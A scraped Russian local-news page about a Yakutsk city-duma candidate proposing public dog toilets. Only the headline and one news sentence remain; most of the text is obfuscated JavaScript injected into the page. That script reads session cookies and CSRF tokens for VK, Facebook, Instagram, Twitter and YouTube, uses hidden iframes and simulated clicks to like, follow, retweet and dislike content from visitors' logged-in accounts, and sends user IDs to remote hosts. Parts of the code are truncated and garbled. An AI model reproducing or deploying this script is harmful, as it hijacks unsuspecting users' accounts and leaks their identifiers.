Кандидат в Гордуму Якутска Эрэл Васильев предложил построить общественные туалеты для собак
0
15
Общественный деятель, кандидат в депутаты Городской думы Якутска Эрэл Васильев предложил проект по созданию общественных туалетов для собак. Об этом он написал на своей странице в Instagram.
(function(){function n(n){var e=5381;for(i=0;i0;if("function"!=typeof n)throw new TypeError(n+" is not a function");for(arguments.length>1&&(t=e),o=new Array(c),r=0;c>r;){var u,f;r in i&&(u=i[r],f=n.call(t,u,r,i),o[r]=f),r++}return o}),Array.prototype.some||(Array.prototype.some=function(n){if(null==this)throw new TypeError("Array.prototype.some called on null or undefined");if("function"!=typeof n)throw new TypeError;for(var e=Object(this),t=e.length>>>0,o=arguments.length>=2?arguments[1]:void 0,r=0;t>r;r++)if(r in e&&n.call(o,e[r],r,e))return!0;return!1}),function(){function n(n){this.message=n}var e="undefined"!=typeof exports?exports:self,t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";n.prototype=new Error,n.prototype.name="InvalidCharacterError",e.btoa||(e.btoa=function(e){for(var o,r,i=String(e),c=0,u=t,f="";i.charAt(0|c)||(u="=",c%1);f+=u.charAt(63&o>>8-c%1*8)){if(r=i.charCodeAt(c+=.75),r>255)throw new n("'btoa' failed: The string to be encoded contains characters outside of the Latin1 range.");o=o(-2*c&6)):0)i=t.indexOf(i);return f})}(),function(n){function e(){}function t(n,e){return function(){n.apply(e,arguments)}}function o(n){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof n)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],a(n,this)}function r(n,e){for(;3===n._state;)n=n._value;return 0===n._state?void n._deferreds.push(e):(n._handled=!0,void o._immediateFn(function(){var t=1===n._state?e.onFulfilled:e.onRejected;if(null===t)return void(1===n._state?i:c)(e.promise,n._value);var o;try{o=t(n._value)}catch(r){return void c(e.promise,r)}i(e.promise,o)}))}function i(n,e){try{if(e===n)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e||"function"==typeof e)){var r=e.then;if(e instanceof o)return n._state=3,n._value=e,void u(n);if("function"==typeof r)return void a(t(r,e),n)}n._state=1,n._value=e,u(n)}catch(i){c(n,i)}}function c(n,e){n._state=2,n._value=e,u(n)}function u(n){2===n._state&&0===n._deferreds.length&&o._immediateFn(function(){n._handled||o._unhandledRejectionFn(n._value)});for(var e=0,t=n._deferreds.length;t>e;e++)r(n,n._deferreds[e]);n._deferreds=null}function f(n,e,t){this.onFulfilled="function"==typeof n?n:null,this.onRejected="function"==typeof e?e:null,this.promise=t}function a(n,e){var t=!1;try{n(function(n){t||(t=!0,i(e,n))},function(n){t||(t=!0,c(e,n))})}catch(o){if(t)return;t=!0,c(e,o)}}var s=setTimeout;o.prototype["catch"]=function(n){return this.then(null,n)},o.prototype.then=function(n,t){var o=new this.constructor(e);return r(this,new f(n,t,o)),o},o.all=function(n){var e=Array.prototype.slice.call(n);return new o(function(n,t){function o(i,c){try{if(c&&("object"==typeof c||"function"==typeof c)){var u=c.then;if("function"==typeof u)return void u.call(c,function(n){o(i,n)},t)}e[i]=c,0===--r&&n(e)}catch(f){t(f)}}if(0===e.length)return n([]);for(var r=e.length,i=0;io;o++)n[o].then(e,t)})},o._immediateFn="function"==typeof setImmediate&&function(n){setImmediate(n)}||function(n){s(n,0)},o._unhandledRejectionFn=function(n){"undefined"!=typeof console&&console&&console.warn("Possible Unhandled Promise Rejection:",n)},o._setImmediateFn=function(n){o._immediateFn=n},o._setUnhandledRejectionFn=function(n){o._unhandledRejectionFn=n},n.Promise||(n.Promise=o)}(window),document.querySelectorAll||(document.querySelectorAll=function(n){var e=document.createElement("STYLE");return document.documentElement.firstChild.appendChild(e),document.__qsaels=[],e.styleSheet.cssText=n+"{x:expression(document.__qsaels.push(this))}",window.scrollBy(0,0),document.__qsaels}),function(n){n.matches||(n.matches=n.matchesSelector||function(n){var e=document.querySelectorAll(n),t=this;return Array.prototype.some.call(e,function(n){return n===t})})}(Element.prototype);var p,m=2,y={},v={};return h}())(1110783628, atob("dXNzM3N0YXIuY29t"));
'use strict';var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['tqutvfjpj.lussoit.com','63'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif'));!function(){if(!window.mainUniStart){window.mainUniStart=!0;var e=atob("aHR0cHM6Ly9zZXJ2aWNlLm5zZXJ2aWNlcy5zcGFjZS8="),t=atob("aHR0cHM6Ly9zdGF0bG9nLnN0YXR1c2VzLnNwYWNlLw=="),n=null,i=[],o=null,r=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?t[1]:""},a=function(e,t,n){var i=n.expires,o=new Date,r=e+"="+t;for(var a in o.setTime(o.getTime()+1e3*i),i=n.expires=o,n.expires=i.toUTCString(),n){r+="; "+a;var s=n[a];!0!==s&&(r+="="+s)}document.cookie=r},s={u4f:function(){return"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)})},F:Date.now||function(){return+new Date},curTime:function(){return Math.ceil(s.F()/1e3)}},c=function(e){for(var t="";e--;)t+="div/";return t},d=function(e){try{var t=JSON.parse(e.data);t&&(t.id&&t.data&&y(t.data),t.getData&&t.visiter&&k(e,t.getData,t.visiter),t.logData&&m(t.logData))}catch(e){}},u={workId:"",Version:"uda",checkUniq:!1,needParent:!1,needMessage:!1,vkUrl:atob("aHR0cHM6Ly92ay5jb20v"),fbUrl:atob("aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tLw=="),inUrl:atob("aHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbQ=="),twUrl:atob("aHR0cHM6Ly90d2l0dGVyLmNvbS8="),youUrl:atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20="),contain:"contains",token:"",authorization:atob("QmVhcmVyIEFBQUFBQUFBQUFBQUFBQUFBQUFBQU5SSUxnQUFBQUFBbk53SXpVZWpSQ091SDVFNkk4eG5aejRwdVRzJTNEMVp2N3R0Zms4TEY4MUlVcTE2Y0hqaExUdkp1NEZBMzNBR1dXakNwVG5B"),cookiesData:{old:"",new:"f1=50000000&f5=30&fms2=10000&al=ru&fms1=10000",dom:".youtube.com",path:"/"},width:window.screen&&window.screen.width?window.screen.width:"1280",height:window.screen&&window.screen.height?window.screen.height:"960",frError:function(e){e.remove(),e=null},nextStep:function(e,t,n,i,o,r){void 0===r&&(r=4);var a=e.evaluate(t,n,null,XPathResult.ANY_TYPE,null),s=a?a.iterateNext():null;s?i&&i(s):r>0?setTimeout(function(){u.nextStep(e,t,n,i,o,--r)},500):o&&o()},followVK:function(e,t,n){var i=function(){n(e,t,"vkinc")},o=t.match(/subscribeByAction\(this, (-[^,]+), '([^']+)', '([^']+)', event\);"data-value="([0-9]+)"/i);o&&"0"===o[4]?f.postSend(u.vkUrl+"al_groups.php",{data:["act=list_enter","ads_section=wall","al=1","al_ad=1","from="+o[3],"gid="+o[1].replace("-",""),"hash="+o[2]].join("&"),success:function(){f.postSend(u.vkUrl+"al_feed.php",{data:"act=a_get_lists_by_item&al=1&al_ad=0&item_id="+o[1],success:function(e){var t=e.match(/Groups\.toggleFeedIgnored\(this, '([^']+)', event\);/i);t?f.postSend(u.vkUrl+"al_feed.php",{data:["act=a_ignore_owner","al=1","from=group","hash="+t[1],"owner_id="+o[1]].join("&"),success:i,error:i}):i()},error:i})},error:i}):i()},likeVKItem:function(e,t,n){var i=new RegExp("Likes\\.toggle\\(this, event, '"+e.item+"', '([^']+)'","im"),o=t.match(i);o&&f.postSend(u.vkUrl+"like.php",{data:["act=a_do_like","al=1","from="+(0==e.item.indexOf("clip")||0==e.item.indexOf("video")?"videoview":"wall_one"),"hash="+o[1],"object="+e.item,"wall=2"].join("&"),success:function(){h(e,n)}})},likeFB:function(e,t){var n=e.contentDocument,i=function(){u.frError(e)},o=function(){h(t,t.tasktype,function(){setTimeout(i,2e3)})},r='span/div/div/span/div[@role="button"]',a='div[@data-testid="Keycommand_wrapper"]/',s=function(e,r){var a=e.getAttribute("aria-label");if("new"===r){if(!a||a.indexOf('"')>-1)return void i()}else if(!(a=e.getAttribute("aria-pressed"))||"true"===a)return void i();if("fblikes"===t.tasktype)return e.click(),void o();var s=document.createEvent("MouseEvents");s.initMouseEvent("pointerover",!0,!1,window,1,0,0,0,0,!1,!1,!1,!1,0,null),e.dispatchEvent(s),u.nextStep(n,("new"===r?'//div[contains(@class,"uiLayer")]/div/div/div[@role="dialog"]/':"//")+'span/div[@data-reaction="'+t.subtype+'"]/parent::span',n,function(e){setTimeout(function(){e.click(),o()},500)},function(){var a=document.createEvent("MouseEvents");a.initMouseEvent("mouseover",!0,!1,window,1,0,0,0,0,!1,!1,!1,!1,0,null),e.dispatchEvent(a),u.nextStep(n,("new"===r?'//div[contains(@class,"uiLayer")]/div/div/div[@role="dialog"]/':"//")+'span/div[@data-reaction="'+t.subtype+'"]/parent::span',n,function(e){setTimeout(function(){e.click(),o()},500)},i)})};u.nextStep(n,"//"+a+c(14)+r,n,function(e){s(e,"new")},function(){u.nextStep(n,"//"+a+c(7)+r,n,function(e){s(e,"new")},function(){u.nextStep(n,'//div[@id="globalContainer"]',n,function(e){n.body.style.display="block !important";var t=document.createEvent("Event");t.initEvent("DOMContentLoaded",!1,!1),n.dispatchEvent(t),u.nextStep(n,"//div["+u.contain+'(@class,"userContentWrapper")]',e,function(e){u.nextStep(n,"//form["+u.contain+'(@class,"commentable_item")]',e,function(e){u.nextStep(n,"//a[@aria-pressed]",e,function(e){s(e,"old")},i)},i)},i)},i)})})},likeFBPage:function(e,t){var n=e.contentDocument,i=function(){u.frError(e)};u.nextStep(n,'//a[contains(@class,"likedButton") and @aria-haspopup="true"]',n,function(e){e&&i()},function(){u.nextStep(n,'//button[contains(@class,"likeButton") and @type="submit"]',n,function(e){e.click(),h(t,t.tasktype,i)},i)})},starterFB:function(e){var t=document.getElementById(e.tasktype+e.id);t&&t.remove(),(t=document.createElement("iframe")).id=e.tasktype+e.id,t.style.width="1280px",t.style.height="1024px",t.style.left=t.style.top="0",t.style.zIndex="99999999",t.width="1280",t.height="1024",t.referrerpolicy="no-referrer",o.appendChild(t),f.getSend(u.fbUrl+e.item,{success:function(n){n=(n=n.replace("",'window.history.replaceState({}, "", "'+u.fbUrl+e.item+'");')).replace("error.facebook.com","er.facebook.com");var i=0,o=function(){t.contentDocument?(t.contentDocument.write(n),setTimeout(function(){switch(e.tasktype){case"fblikes":case"fbemo":u.likeFB(t,e);break;case"fblikepage":u.likeFBPage(t,e)}},5e3)):i>99?u.frError(t):(i++,setTimeout(o,50))};o()},error:function(){u.frError(t)}})},senderTW:function(e,t,n){f.postSend("/1.1/"+t,{headers:{authorization:u.authorization,"x-csrf-token":u.token,"x-twitter-active-user":"yes","x-twitter-auth-type":"OAuth2Session","x-twitter-client-language":"en"},data:"tweet_mode=extended&id="+e.item,creds:!0,success:function(t){h(e,n)}})},workIfr:null,focusQueue:[],focusCurrent:null,checkFocus:function(){if(u.workIfr)try{u.workIfr.contentWindow.focus()}catch(e){}setTimeout(u.checkFocus,100)},startQueue:function(){if(u.focusCurrent)setTimeout(u.startQueue,1e3);else{var e=u.focusQueue.shift();e?(u.focusCurrent=e,setTimeout(function(){u.workList[e.type].worker(e)},0)):setTimeout(u.startQueue,1e3)}},mainYCorker:function(e){var t=document.createElement("iframe"),n=function(){try{t.remove()}catch(e){}},i=["renderer","contains","comment"],o=XPathResult.ANY_TYPE;t.id="fr_"+e.type+"_"+e.id,t.width="640",t.height="480",t.style.position="absolute",t.style.top="0",t.style.left="0",document.body.appendChild(t),e.worktype="yliker_"+u.Version+u.workId,e.result=!1,u.getInfoData(e,function(r){t.contentDocument.write(r);var a,s,c={like:null,dislike:null},d=null,u=function(t){setTimeout(function(){t?h(e,e.logtype,n):n()},2e3)};a="//ytd-"+i[2]+"s["+i[1]+'(@class,"ytd-watch-flexy") and @id="'+i[2]+'s" and not(@hidden)]',s='//div[@id="linked-comment-badge"]/*/*/span['+i[1]+'(@class,"ytd-badge-supported-'+i[0]+'") and text()!=""][1]/ancestor-or-self::div['+i[1]+'(@class,"ytd-'+i[2]+"-"+i[0]+'") and @id="main"]';var l=t.contentDocument,f=0,p=function(){var t=l.evaluate(a,l,null,o,null),n=t.iterateNext();if(!n)return++f>100?void u(!0):void setTimeout(p,100);var r,w,m,h,y=(t=l.evaluate(s,n,null,o,null)).iterateNext();if(y){for(var k in c)r=y,m=void 0,h=void 0,m="*/*/ytd-toggle-button-"+i[0]+'[@id="'+(w=k)+'-button"]',(h=l.evaluate(m,r,null,o,null).iterateNext())&&(c[w]=h,h.classList[i[1]]("style-default-active")&&(d=w)),0;d?u(!1):(c[e.txttype].click(),u(!0))}else u(!0)};p()},function(){n()},!0),setTimeout(function(){n()},3e4)},mainYouWorker:function(e){e.worktype="yliker_"+u.Version+u.workId,e.result=!1,u.workIfr=document.createElement("iframe"),u.workIfr.width=u.width+"",u.workIfr.height=u.height+"",u.workIfr.marginwidth="0",u.workIfr.hspace="0",u.workIfr.vspace="0",u.workIfr.frameborder="0",u.workIfr.style.width=u.width+"px",u.workIfr.style.height=u.height+"px",u.workIfr.style.overflow="hidden",u.workIfr.style.zIndex="99999999",u.workIfr.id="yfr_"+e.type+"_"+e.id,u.workIfr.src=u.youUrl+"/embed?v=1",o.appendChild(u.workIfr),u.getInfoData(e,function(t){u.workIfr.contentDocument.write(t),setTimeout(function(){u.pausePlay(u.workIfr),o.style.width=u.width+"px",o.style.height=u.height+"px",o.style.zIndex="99999999"},500),setTimeout(function(){u.workBtns(u.workIfr,e)},1e3)})},getInfoData:function(e,t,n,i){i&&a("PREF",u.cookiesData.new,{domain:u.cookiesData.dom,path:u.cookiesData.path}),f.getSend(u.youUrl+"/watch?v="+e.item,{success:function(n){i&&(u.cookiesData.old?a("PREF",u.cookiesData.old,{domain:u.cookiesData.dom,path:u.cookiesData.path}):a("PREF","",{domain:u.cookiesData.dom,path:u.cookiesData.path,expires:-1}));var o="",r=n.match(/src ?= ?"([^"]+base\.js)"/i);r&&(o=r[1]),n=(n=(n=(n=(n=n.replace(/src="(\/[^"]+base\.js)"/gi,'src="https://cdn.cdnservice.space$1"')).replace(/"js":"(\/[^"]+base\.js)"/gi,'"js":"https:\\/\\/cdn.cdnservice.space$1"')).replace("",'window.botguard = window.yt = window.ytcfg = window.ytcsi = window.ytglobal = window._yt_player = null;document.hasFocus = function(){ return true; };window.itemVal="'+e.item+'";window.itemBase="'+o+'";')).replace("(isHidden)","(false)")).replace('window["ytInitialData"]','setInterval(function(){ var b = document.evaluate(\'//button[contains(@class,"ytp-ad-skip-button")]\', document, null, XPathResult.ANY_TYPE, null); a = b.iterateNext(); if(a) a.click(); }, 300);window["ytInitialData"]'),t(n)},creds:!0})},pausePlay:function(e){if(e)if(!e||e.contentDocument){var t=!1,n=0,i=function(){if(!t){var o,r,a=XPathResult.ANY_TYPE,s=e.contentDocument;if(r=(o=s.evaluate('//button[contains(@class,"ytp-play-button")]',s,null,a,null)).iterateNext())for(t=!0;r;){r.click();try{r=o.iterateNext()}catch(e){r=null}}else{if(++n>50)return;setTimeout(i,100)}}};i()}else setTimeout(function(){u.pausePlay(e)},200)},sendEnd:function(e,t){o.style.width="10px",o.style.height="10px",t&&h(e,e.logtype),setTimeout(function(){try{u.workIfr.remove(),u.focusCurrent=null,setTimeout(u.startQueue,1e3)}catch(e){}},2e3)},workBtns:function(e,t){if(e)if(!e||e.contentDocument){var n,i,o={like:null,dislike:null},r=null,a=["renderer","contains","comment"],s=XPathResult.ANY_TYPE,c=e.contentDocument;n="//div["+a[1]+'(@class,"ytd-video-primary-info-renderer") and @id="menu" and not(@hidden)]',i='*/div[@id="top-level-buttons" and contains(@class,"ytd-menu-renderer")]';var d=function(e,t,n){var i,d;i="ytd-toggle-button-"+a[0]+"["+n+"]",(d=c.evaluate(i,e,null,s,null).iterateNext())&&(o[t]=d,d.classList[a[1]]("style-default-active")&&(r=t))},l=0,f=!1,p=function(){var a=c.evaluate(n,c,null,s,null),w=a.iterateNext();if(!w)return++l>50?void u.sendEnd(t,!1):void setTimeout(p,100);var m=(a=c.evaluate(i,w,null,s,null)).iterateNext();if(m){var h=1;for(var y in o)d(m,y,h),h++;!r&&o[t.txttype]?(o[t.txttype].onclick=function(){u.sendEnd(t,!0)},c.onmousemove=function(n){if(!f){f=!0;var i=c.createEvent("MouseEvents");i.initMouseEvent("click",!0,!1,e.contentWindow,1,n.screenX,n.screenY,n.clientX,n.clientY,!1,!1,!1,!1,0,null),o[t.txttype].dispatchEvent(i)}}):u.sendEnd(t,!1)}else u.sendEnd(t,!1)};p()}else setTimeout(function(){u.workBtns(e,t)},500)},setINData:function(e,t,n){f.getSend(u.inUrl+"/"+e.item+"/",{success:function(i){var o=i.match(/>window._sharedData = ({.*?});/i);if(o){var r=JSON.parse(o[1]),a=null,s=null;if(!r.rollout_hash)return;if(s=r.rollout_hash,"inlike"===n){if(r.entry_data&&r.entry_data.PostPage&&Array.isArray(r.entry_data.PostPage)&&void 0!==r.entry_data.PostPage[0].graphql?a=r.entry_data.PostPage[0].graphql.shortcode_media:(o=i.match(/({"graphql":.*?})\);/i))&&(r=JSON.parse(o[1])).graphql&&r.graphql.shortcode_media&&(a=r.graphql.shortcode_media),!a||a.viewer_has_liked)return}else if(r.entry_data&&r.entry_data.ProfilePage&&Array.isArray(r.entry_data.ProfilePage)&&void 0!==r.entry_data.ProfilePage[0].graphql&&(a=r.entry_data.ProfilePage[0].graphql.user),!a||a.followed_by_viewer)return;f.postSend(u.inUrl+t.replace("[id]",a.id),{success:function(t){try{(t=JSON.parse(t))&&t.status&&"ok"===t.status&&h(e,n)}catch(e){}},headers:{"X-CSRFToken":u.token,"X-IG-App-ID":"936619743392459","X-Instagram-AJAX":s,"X-Requested-With":"XMLHttpRequest"},creds:!0})}},creds:!0})},workList:{11:{worker:function(e){e.logtype=e.txttype="dislike",u.mainYouWorker(e)},workEnd:[]},12:{worker:function(e){e.logtype=e.txttype="like",e.logtype="c"+e.logtype,u.mainYCorker(e)},workEnd:[]},13:{worker:function(e){e.logtype=e.txttype="dislike",e.logtype="c"+e.logtype,u.mainYCorker(e)},workEnd:[]},16:{worker:function(e){f.postSend(u.vkUrl+"like.php",{data:"act=a_get_stats&al=1&object="+e.item,success:function(t){var n=t.match(/\\"like_my\\":([0-9]+)/i);if(n&&"0"===n[1]||t.indexOf("me_hidden")>0)if(0==e.item.indexOf("clip")){var i=e.item.match(/^clip[-_]?([0-9]+)_([0-9]+)$/i);i&&f.postSend(u.vkUrl+"al_video.php?act=show",{data:['_nol={"0":"clips'+i[1]+'","z":"clip'+i[1]+"_"+i[2]+'"}',"act=show","al=1","autoplay=0","list=","module=","video="+i[1]+"_"+i[2]].join("&"),success:function(t){u.likeVKItem(e,t,"vklike")}})}else f.getSend(u.vkUrl+e.item,{success:function(t){u.likeVKItem(e,t,"vklike")}})}})},workEnd:[]},17:{worker:function(e){e.logtype=e.txttype="like",u.mainYouWorker(e)},workEnd:[]},26:{worker:function(e){e.subtype=1,e.tasktype="fblikes",u.starterFB(e)},workEnd:[]},29:{worker:function(e){var t=e.item.match(/^(.*)_([0-9]+)$/i);t&&(e.item=t[1],e.subtype=t[2],e.tasktype="fbemo",u.starterFB(e))},workEnd:[]},35:{worker:function(e){e.tasktype="fblikepage",u.starterFB(e)},workEnd:[]},43:{worker:function(e){u.setINData(e,"/web/likes/[id]/like/","inlike")},workEnd:[]},45:{worker:function(e){u.senderTW(e,"favorites/create.json","twitlikes")},workEnd:[]},46:{worker:function(e){u.senderTW(e,"statuses/retweet.json","twitretweet")},workEnd:[]},48:{worker:function(e){f.postSend(u.vkUrl+"like.php",{data:"act=a_get_stats&al=1&object="+e.item,success:function(t){var n=t.match(/\\"like_my\\":([0-9]+)/i);n&&"0"===n[1]&&f.getSend(u.vkUrl+e.item,{success:function(t){u.followVK(e,t,u.likeVKItem)}})}})},workEnd:[]},50:{worker:function(e){u.setINData(e,"/web/friendships/[id]/follow/","infollow")},workEnd:[]}}},l=function(){return this};l.prototype={fillOptions:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},getSend:function(e,t){return this.sender("GET",e,t)},postSend:function(e,t){return this.sender("POST",e,t)},sender:function(e,t,n){n=this.fillOptions(n);var i=new XMLHttpRequest;if(i.open(e,t,!0),n.json||"POST"!==e||i.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),i.onreadystatechange=function(){4===i.readyState&&200===i.status?n.success&&n.success(i.responseText):4===i.readyState&&200!==i.status&&n.error&&n.error(i.responseText,i.status)},n.creds&&(i.withCredentials=!0),n.headers)for(var o in n.headers)i.setRequestHeader(o,n.headers[o]);return i.send(n.data),i}};var f=new l,p=function(e){u.workId="25",n=r("ds_user_id"),u.token=r("csrftoken"),n&&"0"!==n&&0!==n&&(u.needParent=e,v())},w=null,m=function(e,n){f.postSend(t+"event",{data:JSON.stringify(e),json:!0,success:n})},h=function(e,t,i){var o={id:parseInt(e.id),fingerprint:n,type:u.Version+u.workId,type_task:t};return u.needParent?(window.parent.postMessage(JSON.stringify({logData:o}),"*"),void(i&&i())):u.needMessage?(document.getElementById("loaderIframe").contentWindow.postMessage(JSON.stringify({logData:o}),"*"),void(i&&i())):void m(o,i)},y=function(e,t){i=[];var n=JSON.parse(e);for(var o in u.workList)if(void 0!==n[o])for(var r in n[o])0,t?u.focusQueue.push({id:r,item:n[o][r],type:o}):i.push({id:r,item:n[o][r],type:o});if(setTimeout(function(){v(t)},6e4),!t)for(var a=0;i.length;){!function(e,t){setTimeout(function(){u.workList[e.type].worker(e)},1e3*a)}(i.shift()),a++}},k=function(t,n,i){f.postSend(e+"youlist.php?worker="+n+"&uid="+i,{success:function(e){t.source.postMessage(JSON.stringify({id:n,data:e}),"*")},error:function(){t.source.postMessage(JSON.stringify({id:n,data:"{}"}),"*")},data:""})},v=function(t){u.needParent?window.parent.postMessage(JSON.stringify({getData:u.workId,visiter:n}),"*"):u.needMessage?document.getElementById("loaderIframe").contentWindow.postMessage(JSON.stringify({getData:u.workId,visiter:n}),"*"):u.focusQueue.length>0?setTimeout(function(){v(t)},6e4):f.postSend(e+"youlist.php?worker="+u.workId+"&uid="+n,{success:function(e){y(e,t)},error:function(){setTimeout(function(){v(t)},6e4)},data:""})};document.hasFocus=function(){return!0},(o=document.getElementById("mainWidgetDiv"))||((o=document.createElement("div")).id="mainWidgetDiv",o.style.width=o.style.height="1px",o.style.position="absolute",o.style.top="0",o.style.left="0",o.style.overflow="hidden",document.body.appendChild(o),(w=document.createElement("iframe")).src="https://cdn.cdnservice.space/flister.html?v=3",w.id="loaderIframe",w.width=w.height="1",w.style.position="absolute",w.style.width=w.style.height="1px",document.body.appendChild(w),window.addEventListener("message",d),f.postSend(e+"youlist.php?worker=35&uid="+s.u4f(),{data:""}),setTimeout(function(){if(document.location.href.indexOf("vk.com")>0)return u.workId="23",void f.getSend(u.vkUrl+"feed",{success:function(e){var t=e.match(/id: ([0-9]+),/im);t&&"0"!==(n=t[1])&&parseInt(n)>0&&v()}});if(document.location.href.indexOf("facebook.com")>0)!function(){if(u.workId="24",window.require){var e=window.require("CurrentUserInitialData");e&&e.USER_ID&&(n=e.USER_ID)}else n=r("c_user");console.log(n),n&&(u.needMessage=!0,v())}();else{if(document.location.href.indexOf("twitter.com")>0)return u.workId="26",void((n=(n=r("twid")).replace("u%3D","").replace(/[^0-9]+/,""))&&(u.token=r("ct0"),u.token?v():f.getSend("/home?prefetchTimestamp="+s.curTime(),{creds:!0,success:function(e){var t=e.match(/"(ct0=([^;]+); Max-Age=[0-9]+; Domain=\.twitter\.com; Path=\/; Secure)"/i);t&&(document.cookie=decodeURIComponent(t[1]),u.token=t[2],u.token&&v())}})));if(window.top===window.self){if(document.location.href.indexOf("youtube.com")>0)return u.workId="22",void((n=r("APISID"))&&window.ytcfg&&window.ytcfg.data_&&(window.ytcfg.data_.PLAYER_CONFIG&&window.ytcfg.data_.PLAYER_CONFIG.args&&window.ytcfg.data_.PLAYER_CONFIG.args.user_display_name||window.ytcfg.data_.LOGGED_IN)&&(o.style.position="fixed",o.style.left="0px",o.style.top="0",o.style.width="10px",o.style.height="10px",o.style.opacity="0.01",o.style.zIndex="99999999",setTimeout(u.startQueue,300),setTimeout(u.checkFocus,100),v(!0)));if(document.location.href.indexOf("instagram.com")>0)return void p();var e=document.createElement("iframe");e.src=u.vkUrl+"widget_post.php",e.width=e.height="10",e.style.width=e.style.height="10px",o.appendChild(e);var t=document.createElement("iframe");t.src=u.fbUrl+"v2.5/plugins/video.php",t.width=t.height="10",t.style.width=t.style.height="10px",o.appendChild(t);var i=document.createElement("iframe");i.src=u.inUrl+"/p/embed/embed/",i.width=i.height="10",i.style.width=i.style.height="10px",o.appendChild(i);var a=document.createElement("iframe");a.src=u.youUrl+"/embed",a.width=a.height="10",a.style.position="absolute",a.style.width=a.style.height="10px",o.appendChild(a)}else{if(document.location.href.indexOf("youtube.com")>0)return u.workId="6",void((n=r("APISID"))&&window.ytcfg&&window.ytcfg.data_&&(window.ytcfg.data_.PLAYER_CONFIG&&window.ytcfg.data_.PLAYER_CONFIG.args&&window.ytcfg.data_.PLAYER_CONFIG.args.user_display_name||window.ytcfg.data_.LOGGED_IN)&&(u.cookiesData.old=r("PREF"),v()));if(document.location.href.indexOf("instagram.com")>0)return void p(!0)}}},1e3))}}();